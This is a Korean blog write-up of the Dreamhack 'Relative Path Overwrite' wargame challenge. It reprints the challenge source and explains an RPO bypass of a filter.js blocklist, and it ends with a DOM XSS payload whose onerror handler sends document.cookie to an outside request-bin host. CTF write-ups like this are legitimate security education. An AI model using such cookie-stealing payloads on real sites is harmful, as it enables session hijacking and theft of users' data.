Web Hacking/Dreamhack 풀이

Relative Path Overwrite

박연준 2024. 1. 2. 20:20

문제정보

https://dreamhack.io/wargame/challenges/439

 

풀이

해당 문제에 접속하면 Home, Vuln Page, Report 3개의 페이지가 존재한다. 참고로 반응형 웹 페이지가 아니므로 전체화면으로 해야 입력 폼이나 메모들을 볼 수 있다.

 

 

Vuln Page에 접속하게 되면 아래와 같이 param의 파라미터 값이 그대로 출력되는 것을 확인할 수 있다. 

 

 

Report 페이지를 보면 http://127.0.0.1로 요청을 보내는 것으로 보아 Request bin을 이용해야 할 것 같다.

 

 

아래는 문제 파일 안의 bot.py 소스 코드이다. 여기서 flag값이 어디 있는지 확인할 수 있는데, check_xss 함수와 not check_xss 함수를 보면 사용자의 쿠키가 flag값으로 설정되어 있는 것을 알 수 있다.

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import sys
import base64

if len(sys.argv) < 2:
    exit(-1)

if len(sys.argv[1]) == 0:
    exit(-1)

path = base64.b64decode(sys.argv[1]).decode('latin-1')

try:
    FLAG = open('/flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

def read_url(url, cookie={'name': 'name', 'value': 'value'}):
    cookie.update({'domain':'127.0.0.1'})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get('http://127.0.0.1/')
        driver.add_cookie(cookie)
        driver.get(url)

    except Exception as e:
        driver.quit()
        return False
    driver.quit()
    return True

def check_xss(path, cookie={'name': 'name', 'value': 'value'}):
    url = f'http://127.0.0.1/{path}'
    return read_url(url, cookie)

if not check_xss(path, {'name': 'flag', 'value': FLAG.strip()}):
    print('<script>alert("wrong??");history.go(-1);</script>')
else:
    print('<script>alert("good");history.go(-1);</script>')

 

 

아래는 index.php의 소스 코드인데 page의 파라미터를 받아와 php 파일을 포함하는 것을 알 수 있다. 또한 ..  :  /의 특수문자를 필터링한다.

<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Relative-Path-Overwrite</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Relative-Path-Overwrite</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/?page=vuln&param=dreamhack">Vuln page</a></li>
            <li><a href="/?page=report">Report</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <?php
          $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
          if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
              include $page;
      ?>
    </div>
</body>
</html>

 

 

아래는 vuln.php의 소스 코드인데 filter.js라는 파일을 로드하고 있다. 자세히 살펴보면 filter.js 앞에 /가 없기 때문에 RPO 취약점이 있을 것이라고 예상해볼 수 있다. 또한 param이라는 파라미터를 추가해 필터에 걸리지 않는다면 그대로 페이지에 삽입하고, 백틱 문자는 제거된다.

<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var param = `<?php echo str_replace("`", "", $_GET["param"]); ?>`;
    if (typeof filter !== 'undefined') {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

 

아래는 filter.js 의 파일에 있는 내용이다.

var filter = ["script", "on", "frame", "object"];

 

여기서 이제 해볼 것은 filter.js가 RPO 취약점이 있을 것이라고 예상했기 때문에 index.php를 경로에 추가하고 script를 작성해보면 그대로 삽입되는 것을 확인할 수 있다.

 

 

vuln.php 소스 코드를 다시 보면 이용자의 입력 값이 innerHTML로 들어가기 때문에 Reflected가 아닌 DOM XSS를 이용해서 공격을 하여야 한다. 따라서 on 이벤트 핸들러를 통해서 스크립트를 작성하면 아래와 같다.

index.php/?page=vuln&param=<img src='x' onerror=location.href="https://bhfoodv.request.dreamhack.games/"%2bdocument.cookie>

 

 

위 스크립트를 report 페이지에서 작성하여 요청하면 다음과 같이 request bin에서 flag 값을 확인할 수 있다.

 

'Web Hacking > Dreamhack 풀이' 카테고리의 다른 글

DOM XSS  (1) 2024.01.04
Relative Path Overwrite Advanced  (1) 2024.01.02
Addition calculator  (0) 2023.12.24
CSS Injection 풀이  (0) 2023.07.01
Client Side Template Injection 풀이  (0) 2023.06.26